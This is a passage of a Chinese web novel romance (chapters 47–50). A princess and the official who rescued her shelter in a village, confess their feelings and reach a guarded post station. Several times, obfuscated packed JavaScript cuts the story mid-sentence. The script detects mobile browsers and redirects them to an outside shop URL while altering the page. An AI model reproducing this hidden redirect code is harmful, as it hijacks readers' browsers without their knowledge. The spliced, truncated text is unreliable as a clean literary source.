因为呛水,沈悠然说话的语气有些虚弱,看着严晟这般毫无顾忌地瘫坐在地上,竟还有心思打趣。 “你看起来……好像男鬼哦,落水鬼。” 她也不想想自己能好到哪里去,仿佛就是下意识地仗着严晟不会反驳她,就这般肆无忌惮地嘲笑着。 见她还能生出这些心思,严晟总算是放了心。 就这么一松懈,方才用尽了力气的后遗症尽数显现出来,竟仿佛连坐着的力气都没了。 严晟就势倒在地上,和沈悠然头抵着头。 一时之间,两人谁都没有说话,只有粗重的呼吸声流转着,昭示着他们刚刚才从死里逃生。 夜色早已弥漫,因为仰面躺着,他们的视线自然而然地落在了头顶的天空上。 皎洁的月光洒在二人的身上,沈悠然也不知道为什么,明明已经很累了,但就是想和严晟说说话,随便说什么话都好。 “你知道我的名字是什么意思吗?”她话题突转。 也不等严晟回答,就自顾自地说开了。 “昭为日光,懿为美好,早在我出生之前,这就是父皇拟定的封号。” “听闻民间的孩子们多有小名显得亲昵,母后提议给我取个小名,哥哥便说,父皇起了与太阳有关的,他便要起个同月亮相似的。” 严晟看着仿佛近在咫尺的月亮,喃喃道,“皎若云间月。” 沈悠然笑了笑,继续道,“母后觉得,又是日又是月的,怕我年纪小压不住,便给我起了沈悠然的名字。” 封号、小名、名讳,三种叫法,来自她最亲近的三个人。 “母后说,她没有其他的愿望,只希望我这辈子能够开心快乐。” 说到这里,她微微侧头,看见了严晟深邃的目光。 “严晟,你瞧,我的名字有这般好的寓意,我们会没事的,对吧?” 如同传闻中海妖的歌声能够吸引路过的船只那般,严晟觉得此刻沈悠然的眼里也藏着什么魔力,引诱着他不断地靠近。 “会的,你会的。”他虔诚地答道。 47. 第 47 章 两人躺在月光下休息了片刻,才总算是感觉到四肢恢复了知觉,灵魂再度回归。 因为担心那群死士追来,二人也不敢再原地呆太久,相互搀扶着站了起来。 借着昏暗的月色,沈悠然看见原是严晟躺过的那块石头上有一片深色的痕迹。 不是水痕,至少和旁边自己的水渍不一样。 “你流血了!” 沈悠然立马拽着严晟的胳膊,拉着他转了个身。 只见他的后背早已被撕裂开来,露出一道约莫有三寸长的伤口。 两侧的皮肉已经被泡发得像是像是被人用白蜡封住了一半,苍白之中又泛着一种带着病气的青。 血水早已经被水流冲刷干净,露出里面暗红色的肌理,在苍白创面的映照下显得格外让人心悸。 沈悠然觉得有些渗人,颤抖着喃喃道,“你受伤了。” “是刚才,是刚才在涯边,他们射的弩箭。” 那群死士也不知道是知晓沈悠然的真实身份,还是说看在她是个女子的觉得好下手,那些弩箭尽数都是朝着她的方向射出的。 好在是从侧面来的箭,是擦着皮囊而过,并没有伤及脏腑。 沈悠然指尖在他的伤口处摩挲着,心里有股说不出来的酸涩感。 严晟反手摸向自己的后背,好似在此刻才后知后觉地发现自己受了伤。 “没事,不疼的。”他安慰道,“此处还有规整的小道,想必不是那种无人踏足过的野郊,我们四处找找,说不定能找到住在附近的人家。” 沈悠然吸着鼻子点点头,从裙摆处撕下一大块布料。 也是多亏了在水里浸湿了衣裙,否则沈悠然这一身专人纺织而成的衣裙,还不那么容易撕得开。 她拿着这湿哒哒的布料,犹豫再三后绕着严晟的前胸后背缠了两圈。 她听太医说过,伤口如果不好好包扎,可能会溃烂腐败。 只是她从来没有替人包扎过伤口,只得胡乱摆弄着,像是端午时候家家户户都会包的粽子。 只是哪怕这样滑稽的模样,也没办法冲散她心中的愧疚感。 这样简单的包扎只能说是聊胜于无,她也担心着这临时的绷带在水里沾了什么脏东西,还是得想个办法去找点药。 “走吧,我们沿着小路找找。” 沈悠然看向严晟的伤口,在担忧之余祈祷着上天眷顾,能让他们找到地方借宿。 担心他失血过多脚步虚浮走不稳,沈悠然主动拉过他的胳膊搭在自己的肩膀上,让他可以借力。 如果是在平时,能够这样和严晟这样近距离依靠着,沈悠然想自己应该是会开心的。 而不是像现在这样,一颗心既要担忧着哥哥嫂嫂,又要害怕严晟的伤更严重,还要担心能不能彻底逃离危险。 她有些想父皇母后了,也想哥哥。 潮湿的衣衫黏在身上,很难受,还带着一股若有似无的水腥气。 她很想沐浴,想躺在床上一觉睡到母后来叫她起床。 沈悠然不后悔跟哥哥一起出宫,她只是怪那群死士。 这次因为是侥幸所以逃脱,但依旧要弄清他们是在为什么人卖命,否则将会永远陷入被追杀的境地。 她想不明白,只是觉得越想越委屈。 眼眶里渐渐被一阵温热的湿润包裹着,沈悠然忍不住低下了头。 虽然她已经很尽力地把抽噎声压到了最低,但还是被本就将注意力放在她身上的严晟注意到了。 “哪里难受?”他问,“是不是受伤了。” 沈悠然摇摇头,说话的声音嗡嗡的,“我没有。” 严晟不放心,抽回了自己的手,借着昏暗的月色打量起了沈悠然。 她身上确实没有血迹,手脚看起来没有明显的伤痕,难道是内伤? 一想到沈悠然可能受了伤,严晟就不免有些焦急,直接蹲下身子示意要背着她。 沈悠然连忙摆了摆手,“我、我没事,我真的没事。” “我就是……我就是想哥哥了,我担心他和嫂嫂。” 严晟沉默着起了身,他同样也担心着下落不明的好友。 如果他没有记错的话,沈煦逃离的方向离下一个城镇不算太远,希望他们能够撑到城门附近,那就能够联系驻城守军。 “别担心,殿下会没事的,”他生硬地安慰着沈悠然,“我们快走吧。” 沈悠然噙着泪点点头,她明白现在也不是在原地抱怨的时候。 总算是老天待人不薄。 在林中搀扶着走了约莫有半炷香的时间,沈悠然二人总算是看见了一个小村庄。 严晟将人护在身后,敲响了离得最近的一户亮着灯的人家。 屋内立即传来了一个稍显粗厚的妇人声音,带着些许的困惑,像是没想到这个时辰还会有人来敲门。 沈悠然靠在严晟身后,一手放在匕首柄上,有些戒备。 开门的是个有些矮胖的中年妇人,头上用一根朴素的木簪子挽了个发髻,身上系着一条围裙,看起来干练又利落。 “又是哪家的倒霉孩子,大晚上的不睡觉,挨个敲……哎哟!这是怎么回事!” 妇人看见门口站着两个陌生的面孔,浑身湿哒哒的,姑娘打扮的女子还搀扶着旁边的男人,男人唇色看起来苍白得有些吓人。 她恍惚之间,还以为是湖里的水鬼来索命了呢。 只不过稍稍定了神之后,她又很快反应过来,哪有水鬼来索命都不变个干净模样的呢。 沈悠然抽噎着泪眼婆娑地看向他,“婶子,能不能在你这借宿一晚,我和、和哥……” 严晟皱着眉,打断了她的话,“我和夫人不小心从崖边坠落落入潭中,一时之间无法联系上家人,还请婶子施以援手,留我们在此休憩一晚,明日一早我们便离开。” 沈悠然心尖跟着一跳,但她没有蠢到当着外人的面揭穿严晟的谎言。 妇人原本狐疑的目光在听见严晟点明二人是夫妻关系的一瞬有了变化,随即露出一副“我都懂”的表情,侧身让两人进了门。 “你们先坐,我去打点水来,得赶紧把湿衣服换下来,免得着了凉。” 沈悠然搀扶着严晟坐在了椅子上,走了这么久他确实有些累了,又有伤在身,一张脸看起来只剩下了惨白。 “对了婶子,村子里有没有大夫,我哥、夫君他掉下悬崖的时候不小心被树枝刮伤了,得找个大夫看看。” 那婶子拍拍大腿,“哪来的大夫哦,有本事的大夫都去镇上找钱去了。” 她转过身去旁边的柜子里翻翻找找的,从里面掏出个灰色的瓶子和一卷用来包扎伤口的布料。 “这是止血的,我家那男人是个猎户,家里备了些外伤的药,妹子你待会儿给你男人上点。” 沈悠然被这质朴的称呼喊得有些脸红,接过瓶子的时候嚅嗫着道了谢。 “行了,我去烧热水,你们待会儿就睡旁边的房间,那是我儿子的,他去读书哩,没人住。” 提到在书塾里的儿子,婶子的脸上总是带着不自觉的神气。 沈悠然连忙道谢,搀扶着严晟进了房间。 等到只剩下两人的时候,严晟脸上总算是有了些许的颜色,也不知道是因为伤口的原因还是其他。 “方才是、是无奈之举,还请昭懿帝姬不要介意。” “在下、我,我不过是想着,若是说我们二人是兄妹,便再无理由住在一块。” “虽然这里也不至于有那些死士,但人生地不熟,还是小心为上。” 沈悠然都懂的,只是有些不好意思罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胖婶子一边替她顺着气,一边自以为是猜中,沈悠然才会有这般大的反应。 “你看啊,好端端的,怎么会两个人同时掉崖。” “你们莫不是被家里人反对准备一块儿寻思吧?那可不行啊姑娘,那话怎么说的来着?留得青山在,不怕没柴烧。好好活着才能在一起哩,要是死了,下辈子万一不是人了……” 她拍了拍自己的嘴,“呸呸呸,姑娘我不是骂你们的意思。” “婶子我瞧着你们两个相貌好,长得般配,怎么的家里还要反对?那后生家境不好?你是小姐他是下人?我瞧着那气势也不像啊。” “那不然你们是世仇,戏里都这么演,什么杀父之仇不共什么天。” 她自顾自地在脑子里构建出掺杂着爱恨情仇的故事情节,沈悠然根本插不上话。 只是见她越说越离谱,才不得不打断她的话本创作。 “婶子婶子,没那么负责呢。就是、就是……我俩也不是私奔,就是出来玩儿,不小心掉落悬崖,他为了救我受了伤,一时之间又无法联系家里人来救,这才、这才迫不得已来打扰您了。” 胖婶子将信将疑,但看沈悠然不愿说,也没再继续问了,拿瓢盛了满满一桶的热水。 “成了,你们用热水冲冲吧,”胖婶子看了眼沈悠然的细胳膊细腿,“算了,就你这小身板,婶子我就帮人帮到底吧。” 沈悠然脸上一红,亦步亦趋地跟在胖婶子后面。 她从未有过哪个时刻,像现在这般,让她觉得整个脑袋都晕乎乎地似乎发起了热。 48. 第 48 章 胖婶子把盛满热水的桶放在一旁的净室。 她们乡下人,没那么讲究,平日里就是用一块澡巾子沾水擦擦就完事。 她也没那个本事给眼前这小姑娘变个澡盆子出来,只得拿了块干净的帕子递过去。 “这是婶子在镇上买的,还没用过哩,姑娘你拿去用。” 出门在外,沈悠然再挑三拣四显然也没用,总不能她嫌不好,就能改变现状。 “谢谢婶子。”她接过手帕,道了谢。 那帕子一看就是崭新的,料子也软,因为长时间折叠放着,上面有了明显的折痕。 沈悠然不怀疑这是胖婶子能拿出来的最好的料子了。 因为条件简陋,再加上担心伤患,沈悠然手脚麻利地收拾好了自己,转身进了卧房。 “要我帮你吗?”沈悠然一问。 等到意识到她说的帮忙是什么意思后,严晟面色不改。 “不用了,还不是什么要命的大伤,不至于一点都动不了。” 说完,他就拿着胖婶子好心送来的衣衫,进了隔壁的净室。 原本还觉得有些尴尬的沈悠然,在看见严晟几近落荒而逃的背影和昏暗烛火也掩饰不了的泛红的耳尖,突然间觉得松了口气。 原来不止是自己一个人觉得别扭,一想到看起来清高自持的严晟也会和自己一样,沈悠然不仅不再扭捏,甚至生起了一副捉弄的心思。 严晟甫一回到房间的时候,看到的就是沈悠然这般不怀好意的笑。 他下意识地拢紧了领口。 两人身上穿的衣服都是胖婶儿子的。 作为家里最有出息的人,胖婶很是舍得为这个儿子花钱,每年都要给他裁四套新衣,去年是春秋,今年便做了两套夏装和冬装。 原是打算过几日让家里男人送过去的,沈悠然他们也算来得是时候。 胖婶原是不打算拿出来的,只是收了沈悠然那么一锭银子,都可以去镇上再买上好几套成装了,也不耽误功夫。 沈悠然身材娇小,穿上后还显得空荡荡的。 但严晟个子高大,手腕脚腕都露出半截来,看起来有些滑稽。 沈悠然死命抿着嘴让自己不要笑出声。 “你快、快躺下吧,我帮你包扎。” 严晟也不好再多说什么,毕竟是在他看不见的地方,只得借沈悠然之手。 一股劣质药粉的味道瞬间弥漫在这不足沈悠然宫中一间净室大小的地方。 鼻尖萦绕这一副苦涩味道,沈悠然半靠在床边,手腕慢悠悠地抖动着,药粉覆盖住了一整个伤口。 一股刺痛从后背传来,严晟抿着唇不言不语。 这等小伤远不是什么无法忍受的事情,更让他觉得心悸的是,身边的沈悠然。 因为昏暗,她不得不凑近了才看得清药粉有没有撒均匀。 绵长的呼吸并着细软的发丝落在脊背上,带着阵阵的痒意。 背对着的姿势让严晟看不见沈悠然,二人之间唯一联系的后背此刻变得极其敏感。 “昭懿帝姬,还是让我自己……” 背上的药粉随着严晟的动作簌簌下落,沈悠然有些气恼,按着他的肩膀不让动。 “你干嘛呀,好不容易上的药,你这一动都抖没了。” 本就不是什么特效药,瓶子里剩下的药粉又不多,再这么一浪费,怕是整个伤口都不够用了。 她细腻的手指尖其实并没有太大的力气,但严晟就是感觉像是穿透了他的血肉和骨骼,极其不经意地攥住了心头。 大有一番如若他不听从,就在心上刺一刀的感觉。 看他躺在床上可怜,沈悠然加快了手上的动作,用干净的纱布绕着圈将伤口包扎起来。 她搀扶着严晟半坐起来,自己则是站在一旁看着他。 虽然是第二次做这种事,但沈悠然俨然很满意自己的水平,不停地用指尖轻抚着打结的地方。 眼里没有对严晟□□的在意,只是纯粹的对自己的欣赏。 “行了,我也不懂医理,等明日我们去最近的城镇上再看看吧。” 沈悠然神神秘秘地不知道从哪儿掏出了晶莹剔透的糖块儿,得意地冲着严晟扬了扬下巴。 “你看这是什么?”她摊开掌心在严晟眼前晃了晃。 严晟有些失神,一手放在胸口位置,感受着自己心脏那种说不清道不明的怪异跳动。 落在沈悠然的眼里,就是严晟轻蹙着眉头,不愿吃糖。 “哎哟,你莫不是害羞了?” “你放心吧,我不会嘲笑你的,上药那么苦的事,可不得吃点甜的东西吗?” “这还是我特意找王婶子要的呢。” 因为母亲早逝,为了不让父亲和年迈的嬷嬷担心,严晟自小吃药便最是乖顺,让什么时候喝酒什么时候喝,让喝几碗就喝几碗。 都不曾需要人哄过,又何时需要过糖块来压掉那种苦涩。 “我不……” 见他又要拒绝,沈悠然也不惯着,直接弯腰将手中的糖块往他的双唇之间一塞,嘴里嘟囔着抱怨道,“磨磨唧唧的,还是不是男人啊。” 因为严晟本就是在说话,双唇微启之间,沈悠然顺利完成了自己的谋划。 只是从指尖传来的那一阵濡湿感,让她好似摸到了一块火红的烙铁一般,指尖以一种迅雷不及掩耳之势快速抽了回来。 “我……” “你……” 昏暗的烛火映照着沈悠然几近滴血的双颊。 按照严晟本来的性子,他应该自觉地转移话题,给害羞的沈悠然一个台阶下。 但也不知道是不是这药粉里有什么麻痹人心的成分,严晟脑子里闪过了很多的画面。 有在崖边看见那急促的弩箭射向沈悠然的时候,有她因为自己受伤而落泪但咬着牙不承认的样子,也有虽然没有亲眼见到但能想象出的她一脸严肃地替自己上药的模样。 “很甜,”他似是在自言自语,“昭懿帝姬,很甜。” 他也说不上甜的到底是口中的糖块儿,还是其他的什么东西。 被无意识压低了的声音带着一种让人晕眩的蛊惑意味,沈悠然静静地看着眼前的严晟。 因为受了伤,又在那般阴冷的水里呆了许久,还要拖着一个失去了意识的自己奋力游上岸,严晟此时的脸色着实算不得有多好看。 但就算是这样带着病态的感觉,也让沈悠然觉得好看。 她从第一眼见到就觉得好看。 沈悠然只觉得脑子里一股热意上涌,支配着她半弯着腰,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原本沈悠然就像是个猎人一样掌控着全局,忽然之间却来了个天旋地转般的颠覆。 严晟左手暗暗用力,沈悠然只觉得后背传来一阵让她觉得滚烫的触碰,压着她整个人向前倒,落入了一个温柔的怀抱里。 原先因为沈悠然后撤而有过短暂分离的双唇,眨眼之间又相互贴合。 和她如同儿戏一般的轻触不同,严晟的动作里带着一股生硬但却不可忽视的强势。 更加亲密的触碰在两人之间蔓延开来。 如果说之前还觉得游刃有余,现在沈悠然被这阵笨拙但却无法抵挡的回击打得猝不及防,等到缓过神来,她下意识地就想要往后退。 感受到胸腹处传来的阻拦,严晟粗喘着气,二人的额间轻轻相抵。 他嘶哑的声音在沈悠然的耳边响起。 “不想?” 沈悠然抿着唇,没有回答。 她也不知道自己是怎么想的,其实她并不反感,但又觉得,又觉得…… 沈悠然说不上来,后知后觉地反应过来自己刚才的举动有多大胆。 看她久久未曾言语,严晟心中也是忐忑不安。 “推开我。” “皎皎,如果不想,就推开我。” 左手轻轻的一扯,沈悠然从原本半弯着腰的姿势顺便变成了坐在严晟的腿上。 他的大腿紧绷得厉害,一点都不柔软。 沈悠然紧张得不知道手脚该往哪放,就在她迷茫的时候,严晟再度倾身而下。 “你只有这一次机会。” 49. 第 49 章 严晟从未想过自己会有一个什么样的妻子。 确切的说,他从未想过自己会有妻子。 他母亲去世后的那段时日,太傅严为康恰好忙于替皇家修书,整夜整夜地宿在宫中,几乎快忘了家中还有一个孩子。 严为康只是想着家中有奴仆照顾,又不缺米粮,未曾想过彼时的严晟也不过是个刚刚失去母亲的孩子,正是需要父亲关爱的时候。 后来母亲的闺中密友,季家三夫人上门探望,发现好友的孩子已经变得不爱说话了,提出要带孩子去家中小住几日。 季三夫人安慰严晟,说他父亲是因为母亲去世大受打击,为了不让自己每日都只能沉溺于对亡妻的怀念之中,只能让自己忙得没空去想,让严晟不要去怪他父亲。 她说严晟的父母很相爱。 严晟没有觉得父亲狠心,只是不明白爱这种东西,为什么能这样轻而易举地影响一个人。 爱是一种很好的东西吗?严晟不知道,只觉得因为爱母亲,他的父亲眼里就再也没有他了。 在季家住的那些日子,严晟感觉季三夫人也是不开心的。 季家子嗣众多,季三爷是季老妇人的第二个孩子,既不像长子那般被全家寄予厚望,也不如幺子那样得父母宠爱,不过是个可有可无的季三爷。 而他自己也不争气,眼见着继承家业无望,也做好了等父母百年之后靠着长兄过活的日子,整日里也不做学问,就喜欢去烟花柳巷里寻知己。 用他的话来说,那些巷子里的姑娘才是真正崇拜他,口口声声的唤他一声爷,而不是季家那个碌碌无为的三爷。 有一次他带了个姑娘回家,他说那是他的真爱,他要娶这个姑娘进门,要和她相濡以沫携手一生。 这样以一生为证的誓言在季家老爷扬言要和季三爷断绝父子关系的时候分崩离析。 严晟看着年逾三十的季伯伯哭着说自己是年少不懂事,让季爷爷原谅他。 爱又是一种很坏的东西吗?严晟还是不知道。 严晟想不明白,索性便不再去想,有姑娘家的示好也一概敬谢不敏。 其实一开始同窗们还是会拉着严晟讨论姑娘们,有时候聊得脑子昏了说些下流的话,还会被严晟出声呵斥。 渐渐地,同窗们也发现他那位让人惧怕的严太傅一样,真不愧是父子。为了自己的耳根子清净,也就不再同严晟说这些话了。 严晟乐得清闲,间或对平时稳重的好友在蔺姑娘面前的样子表达不解。 他从未想过,自己有一天会变得这样。 这样的……急切、不庄重。 他应该唾弃这样的自己,但比起一些根本不管用的自我反思,他更在意其他的东西。 闭上眼总会想到那弩箭射向沈悠然的场景,严晟觉得,好像只有把她揉进自己的血肉里,才能缓解那阵莫名的心慌。 但又在退后看见沈悠然那艳丽得快要滴血的双唇时,再度觉得自己似乎是发起了热。 “你知道你在做什么吗?”沈悠然问。 双唇处传来一阵阵说不上来的酥麻感,她用指尖轻轻拂过,心想肯定肿了。 一股羞赧上涌,但沈悠然更多的是觉得,有一种尘埃落定般的心安。 严晟呼出一口气,一手揽着坐在腿上的沈悠然不放,另一只手慌乱地不知道放在哪好,最后轻轻覆在了她放在膝盖处的手背上。 “出宫之前,陛下曾允诺我,若是差事办得好,回来便可应我一个要求。” “我……在下心悦昭懿帝姬,想求娶昭懿帝姬为妻。” 他神色有些忐忑,似是担心沈悠然拒绝。 但沈悠然从第一眼起就被严晟的外貌吸引,也不止一次地提过想要让严晟当自己的驸马。 她等的不就是现在这一刻吗?她不就是想要让严晟折服吗? “太快了。”沈悠然摇摇头。 严晟一时不理解她的话,露出了一副困惑的表情。 “太快了,我还不想成亲。” 沈悠然坐在眼神身上,心虚的垂着眸子,但又忍不住地歪过头想要看看严晟的反应。 原本还不觉得有什么不对,直到话说出口后,她这才后知后觉——这算不算是不负责任啊。 刚刚的亲吻,还是沈悠然先主动的呢。 只是她还确实不想成亲呢。 喜欢严晟是一回事,但成亲是另一回事。 成亲之后,即便父皇再溺爱,那也没有成了亲之后再住娘家的道理。 即便是父皇和母后纵容,那外人也会因此对严晟有微词,或许会觉得猜他们夫妻二人之间有什么矛盾,所以昭懿帝姬才总是住在宫中。 虽然知道严晟不是那种好面子的人,但沈悠然还是不想任外人随意揣测他。 思及婚后种种,觉得自己还没做好成亲的打算。 她忐忑地看着严晟,怕他因此觉得受挫。 “你放心,我也不是不喜欢你,我就是、我就是……” 沈悠然不知道该怎么跟他解释自己的担忧,一时间有些心烦,捏着自己的发尾不断地揉搓着。 严晟松了口气,伸手握住了她不断摩挲着的手,替她抚平了糟乱的头发。 沈悠然不止一次在饭桌上听到过盛兴帝夸赞严晟的文章,说他写的策论和那些只知道引经据典的漂亮文章不一样,像是一把温柔刀,虽没有尖锐的言辞,但却总能直击最痛的地方。 再加上他那一手遒劲有力的字体,总是让人无形之中觉得被警醒。 彼时严晟不过十四五岁的年纪,盛兴帝就说过,就凭这严晟的脑子和手,是天生的该吃官家饭。 但此时的这双手,正在轻柔地替沈悠然一点点的梳理着打结的地方。 出门在外,吃住都不比在宫中,方才湿了头发都不曾好好用发油打理过,不免有些干燥。 等到一切都做完之后,严晟才缓缓开了口。 他嘴角微微上扬,像是初春湖面荡漾着的涟漪,嗓音温润。 “好。” “我们不着急,慢慢来。” 窗外一阵微风拂过,吹得院子角落里的枝叶哗哗作响,但却掩盖不住这近在咫尺的心跳声。 沈悠然觉得自己要沉溺于这如流水般轻柔地夜色里。 “皎皎,我可以叫你皎皎吗?像你的……家人一样。” 沈悠然当然不介意,她喜欢严晟叫她皎皎时透出的那份旁人不易察觉的亲昵,何况他也不是第一次这样叫了。 但话到嘴边,沈悠然又忍不住起了坏心想要逗弄他。 “好像……不行耶。” 她等待着看见严晟失落的表情,然后再大发慈悲地露出勉强答应的模样。 但严晟这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈悠然顾不得跟他客气,尝了一口香气一直萦绕在鼻尖的葱油饼。 “呀,婶子手艺真不错呢,”她不吝夸赞,“只是可惜了,另一块有些焦了。” 严晟眸光微沉,没好意思开口。 他几乎是彻夜没睡,天刚亮,听见院子里有了动静,就出门去了。 本意只是想找婶子打听打听这是哪里,再问问周围有没有卖马的人家。 谁料三言两语地就被婶子忽悠着进了厨房帮忙,还说人家一个小姑娘愿意跟他私奔,定是要吃很多苦头的,有些地方能多照顾着,就得多照顾着。 譬如得学会做饭。 严晟其实是会的,只是大锅灶火猛,一时之间没有把握好火候。 他轻声咳嗽着,熟练地转移着话题,“我问过婶子了,她说村里子以前有一户做货郎生意的人家,家中倒是有一匹上了年纪的马,正愁没钱换呢,可以卖给我们。” 事实上婶子还主动提出要去帮他讲讲价,说他们两人如今私奔,身上的银钱得省着花。 严晟见解释也无用,索性也就任她去了。 只是转过头又在被褥里塞了一块银锭,就当时感谢胖婶处处帮他们这对“私奔”的有情人考虑了。 “殿下当时是往驿站的方向去了,这一晚上也未曾有人前来追捕我们,想必是殿下已然脱险,那些人不敢再轻举妄动怕漏了踪迹。” “待会儿我们先赶到驿站去和殿下汇合,然后再回永州。” 沈悠然点点头,她也担心哥哥,想要快点见到他,确保他没事才好。 50. 第 50 章 婶子找来的马确实不能和城中那些专门卖马匹的牙行比,但肯定是比双腿强的。 严晟叹了口气,给主人家付了银钱,就直言赶着回家报平安,向婶子请辞。 家中男人还在山里打猎,儿子又在私塾,婶子一时之间还真有些舍不得这两个活人,至少还有人能跟她说说话。 临走之前她忍不住给两人塞了一油纸的饼,万一路上没地方落脚,也不至于饿肚子。 趁着严晟去付买马钱的时候,还拉过沈悠然的胳膊,苦口婆心地劝着私奔毕竟不是好的办法,让沈悠然多为自己想想。 沈悠然哭笑不得的同时,还是认真向婶子道了谢。 等严晟回来的时候,他已经找那位走南闯北的货郎打听清楚了。 婶子祖祖辈辈都是村子里的人,去过最远的地方不过也就是镇上的集市,对外面的了解不如货郎清楚。 此处是永州北边,距离最近的驿站约有四五十里的样子。 只是山里路窄又崎岖,按照这匹老马的速度,大概得花上两个半时辰才能到。 虽然一晚上都没有追兵来,但早些和沈煦汇合总是好的,二人也就没在此处再耽搁。 严晟伸手让沈悠然借力上马,沈悠然撇撇嘴,晃着今晨系上的马尾一个翻身就问问落在马背上。 “小瞧我了是不?别忘了当初是谁助你和哥哥赢得比赛的。” 严晟浅笑着收回手,“是是,是我多虑了。” 沈悠然得意地扬了扬眉,“你可是背上有伤呢,要不要本……小姐帮帮你?” 听她这略带挑衅的话,严晟不言,只是一味地翻身上马,将她搂在怀里。 “抓紧了。” 话音刚落,沈悠然就听得耳边风声呼啸,村庄逐渐消失在身后。 这哪里是老马,简直是老骥伏枥。 照着那位货郎指引的方向,确实一路上多是小路,看起来鲜少有人踏足,不少地方的枝干都长得比较随意。 为了不让沈悠然被枝干划伤,严晟一直牢牢将她护在怀里。 时间一长,沈悠然不免又为他担心。 “你的伤,没事吧?” 她扭过身子,伸手摸了摸严晟的后背。 没有预料中的那种黏腻濡湿的感觉让她不免放心了许多。 伤口没裂开就还好。 严晟捏紧了有些僵硬的手。 确有些不适,但不至于熬不住。 就这样紧赶慢赶的,二人总算是在午时之前赶到了驿站。 和之前他们落脚过的驿站不同,此处是进入永州城的必经之路,不仅规模大出不少,进驿站还需要公文登记。 但更让严晟觉得诧异的是,此处怎么会有军队? 一队穿着军中铠甲的官兵此时正列队巡逻,队列中的每一个人都戒备地盯着来往的车辆人群,看上去训练有素。 看起来不像是普通的守城军。 严晟心生警惕,怕就怕在这队人马是敌非友。 趁着那伙人巡逻至别处的功夫,严晟将老马系在驿站外的树林里,牵着沈悠然快步走到驿站门口。 “来者何人?请出示公文。” 严晟从怀里掏出两锭银子。 “还请两位官爷通融一下,我二人是从家中私奔出来的,未曾携带身份公文。” 沈悠然一口气差点没提上来,这婶子的说辞,没想到在这里还有用? 但她不是傻子,普通情况下,怎么可能需要军队来驿站附近巡逻? 她没有拆穿严晟,只是心中多少有些不忿,暗地里在他的掌心用力一掐。 严晟顺着她手指微张的动作,瞬间和她十指相扣,然后在驿官的面前晃了晃,以示他二人感情深厚。 对面的驿官连笔尖滴了墨都来不及反应,只顾着惊讶这世间怎么会有如此大胆之人,连私奔这种事都能挂在嘴边随便说出口。 不过要是有这么貌美的小娘子倾心于他,让他私奔也是愿意的。 “私、私奔那也得有公文才、才可投宿!否则还请您多劳累赶赶路,去其他地方落脚吧。” 竟是这般严苛吗?连银子都无法打动人心。 因驿站归属于朝廷,按照律例,凡是入住必得登记。只是有些驿站偏远无人管辖,若是有人使银子走捷径,也有驿官将此作为可捞的油水睁一只眼闭一只眼。 一般来说,只会在有大官亲临的时候,才会这样严阵以待。 严晟不敢赌,他怕驿站里的,是于世秋派人特意在此处伏击——沈煦手中没有兵符,若真是调人,顶多是调府衙里的人来,怎么会是军中之人在此巡逻? 军中调兵麻烦,此地又不是宣阳城,即便是太子,但沈煦一个生面孔确是不好行事。 他牵着沈悠然的手躲在了暗处,将自己的猜测说与她听。 此时恰好遇见军队巡逻一圈回到驿站门口,沈悠然侧过身子去看。 “若是能认得是哪位将军麾下就好了。”她喃喃道。 话音一落,就感觉到耳边有一阵风声呼啸而过。 她连忙回过头一看,不知道是从哪里蹿出来个军户打扮的男人,也没带武器,一拳头都要往严晟的头上招呼过去。 “小心!” 沈悠然的惊呼声和严晟放手的动作同时响起,他用力地将沈悠然往外一推,“躲好。” 那人明显是朝着自己来的,再拉着沈悠然,于她而言说不定是伤害。 来人虽然没有利刃在身,但拳脚功夫了得,严晟原是能招架,只是多过了几招之后,后背上的伤口裂开,渐渐觉得那力道让他有些吃力。 不过来人虽然下手狠,但却没有杀意,严晟便也未拔剑,只做抵抗之势。 但沈悠然没那般所谓的君子风度,从小十四叔就教过她,以德报怨是最愚蠢的词,以牙还牙都嫌不够。 她以前就觉得话本子里那些反派死于正派之手,都是因为反派太过正义,不懂什么叫人多力量大一起上。 她在旁边的角落里发现了一把生了锈的柴刀,弯腰捡的时候,刀柄直接就脱落了。 想必是坏掉了才被人扔在这里弃用。 不过也无所谓,真让她拿柴刀砍人,她也不敢,这木棍子倒是顺手很多。 她找准方向,趁着严晟和其扭打在一起的时候,照着他的头顶就是一闷棍。 来人头顶一晕,一脸不虞地转过头看了眼沈悠然。 “找死?”他嗓音里是难掩的怒气。 但也是这句话,让严晟产生了一种莫名的熟悉。 “你是……谢为安?” 谢为安? 沈悠然觉得这名字有些耳熟,但又怎么都想不起来是谁。 而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877559|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这张透着小麦色的脸,也让她没有半分的熟悉感。 只是听严晟的意思,是故人,她也就放弃了再补上一闷棍的想法。 谢为安眉头一皱,“你认识我?” 严晟也不再藏着掖着,直接表明了身份。 “在下是副巡查使严晟,那位,是昭懿帝姬。” 只见谢为安收起戒备姿态,对着沈悠然行了礼,“在下谢为安,奉太子之令,特在此等候昭懿帝姬。” 沈悠然看了眼唇色有些苍白的严晟,晃了晃手中的木棍。 “这就是你等候的方式?” 谢为安有些不好意思地挠了挠后脑勺,没有谄媚,倒是坦诚地认了错。 “老……在下认错人了,主要是看着两位鬼鬼祟祟的,一时之间也没往帝姬那儿想,还以为是心怀不轨的贼人呢。” 